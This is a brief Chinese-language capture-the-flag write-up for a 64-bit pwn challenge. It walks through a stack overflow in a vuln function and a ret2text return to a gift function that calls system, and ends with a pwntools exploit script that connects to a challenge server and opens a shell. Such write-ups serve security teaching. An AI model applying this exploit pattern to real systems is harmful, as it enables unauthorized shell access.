把附件下载下来拖入ida运行
映入眼帘的是
vuln可能存在漏洞的函数
gift题目中的主要函数
_system可以调用系统命令
我们直奔主题
有一个栈溢出,和一个调用系统bash的命令
不过要注意这是64位的程序
首先找到我们要返回的gift的地址 0x4005b6
其次是栈溢出的地址
ida有帮我们识别出来,距离rbp 16字节,我们要再加上我们的8个字节
最后加上我们的返回地址,是上面找到的gift的地址,payload就完成了
payload = b'a' * 0x10 + b'a' * 8 + p64(0x4005b6)
直接发送获取shell即可
exp代码如下
from pwn import *
p = remote('node4.anna.nssctf.cn',28304)
payload = b'a' * 0x10 + b'a' * 8 + p64(0x4005b6)
p.send(payload)
p.interactive()